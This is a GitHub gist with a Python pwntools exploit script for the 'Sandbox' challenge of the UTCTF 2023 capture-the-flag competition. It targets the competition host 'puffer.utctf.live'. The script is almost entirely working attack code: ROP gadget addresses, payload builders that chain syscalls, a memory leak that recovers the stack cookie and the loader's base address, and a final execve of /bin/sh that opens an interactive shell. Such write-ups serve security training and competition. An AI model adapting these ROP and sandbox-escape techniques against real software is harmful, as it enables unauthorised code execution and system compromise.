Skip to content

Instantly share code, notes, and snippets.

@X3eRo0
Created March 13, 2023 05:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save X3eRo0/53b5c690d755dfcde62765f95748a216 to your computer and use it in GitHub Desktop.
Save X3eRo0/53b5c690d755dfcde62765f95748a216 to your computer and use it in GitHub Desktop.
UTCTF 2023 Sandbox Exploit
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfmate
import os
import time
import pwn
BINARY = "./loader"
LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6"
LD = "/lib64/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8 = pwn.p8
u8 = pwn.u8
host = pwn.args.HOST or "puffer.utctf.live"
port = int(pwn.args.PORT or 7132)
def local(argv=[], *a, **kw):
"""Execute the target binary locally"""
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
"""Connect to the process on the remote host"""
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
"""Start the exploit against the target."""
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
gdbscript = """
# break *0x4000185
# decompiler connect ida
# brva 0x355FD2
# brva 0x355D45
brva 0x35611b
continue
""".format(
**locals()
)
HELLO_POP_RDI = 0x00000000040013AF
HELLO_SYSCALL = 0x0000000004002A0E
HELLO_POP_RSI = 0x00000000040013AD # : pop rsi ; pop r15 ; ret
HELLO_POP_RDX = 0x00000000040023B3 # : pop rdx ; ret
HELLO_POP_RAX = 0x0000000000401001 # : pop rax ; ret
HELLO_BUFFER = 0x0000000004005260
LOADER_POP_RDI = 0x0000000000cf6035 # : pop rdi ; ret
LOADER_POP_RSI = 0x000000000065f565 # : pop rsi ; ret
LOADER_POP_RDX = 0x0000000000caab64 # : pop rdx ; ret
LOADER_POP_RAX = 0x0000000000594295 # : pop rax ; ret
LOADER_POP_RCX = 0x000000000038976f # : pop rcx ; ret
LOADER_SYSCALL = 0x00000000003548C0 # : syscall ; ret
def do_syscall_hello(sys, arg1=0, arg2=0, arg3=0):
b = b""
b += p64(HELLO_POP_RDI)
b += p64(arg1)
b += p64(HELLO_POP_RSI)
b += p64(arg2)
b += p64(0)
b += p64(HELLO_POP_RDX)
b += p64(arg3)
b += p64(HELLO_POP_RAX)
b += p64(sys)
b += p64(HELLO_SYSCALL)
return b
def do_syscall_loader(e, sys, arg1=0, arg2=0, arg3=0):
b = b""
b += p64(e.address + LOADER_POP_RSI)
b += p64(arg1)
b += p64(e.address + LOADER_POP_RDX)
b += p64(arg2)
b += p64(e.address + LOADER_POP_RCX)
b += p64(arg3)
b += p64(e.address + LOADER_POP_RDI)
b += p64(sys)
b += p64(e.address + LOADER_SYSCALL)
return b
def print_ptrs(data):
for i in range(len(data)):
print("0x%x" % i, hex(data[i]))
def parse_ptrs(data):
leak = []
for i in range(0, len(data), 8):
ptr = u64(data[i : i + 8])
leak.append(ptr)
return leak
def exp():
io = start(["./hello"])
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
LEAK_LEN = 0x600
exploit = pwn.cyclic(pwn.cyclic_find(0x63616171))
exploit += do_syscall_hello(0, 0xFFFF, HELLO_BUFFER, LEAK_LEN)
# leak the out of bound read
# write the iovec struct at BUFFER+0x400
exploit += do_syscall_hello(0, 0, HELLO_BUFFER + LEAK_LEN, 0x10)
exploit += do_syscall_hello(20, 1, HELLO_BUFFER + LEAK_LEN, 1)
exploit += do_syscall_hello(0, 0, HELLO_BUFFER, 0x600)
exploit += do_syscall_hello(1, 0xffff, HELLO_BUFFER, 0x600)
io.sendlineafter(b"\n", exploit)
io.recvuntil(b"hello")
io.recvline()
# iovec struct
io.send(p64(HELLO_BUFFER) + p64(LEAK_LEN)) # iov_base + iov_len
leak = parse_ptrs(io.recv() + io.clean())
# print_ptrs(leak)
exe.address = leak[0x11] - 0xA57504
stack_cookie = leak[0xF]
exploit = pwn.cyclic(pwn.cyclic_find(0x6261616a))
exploit += p64(stack_cookie)
exploit += pwn.cyclic(pwn.cyclic_find(0x6161616f))
exploit += do_syscall_loader(exe, 0, 0, exe.bss(), 0x8)
exploit += do_syscall_loader(exe, 0x3b, exe.bss(), 0, 0)
io.clean()
io.sendline(exploit)
io.clean()
io.send(b"/bin/sh\x00")
io.recv()
io.interactive()
if __name__ == "__main__":
exp()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment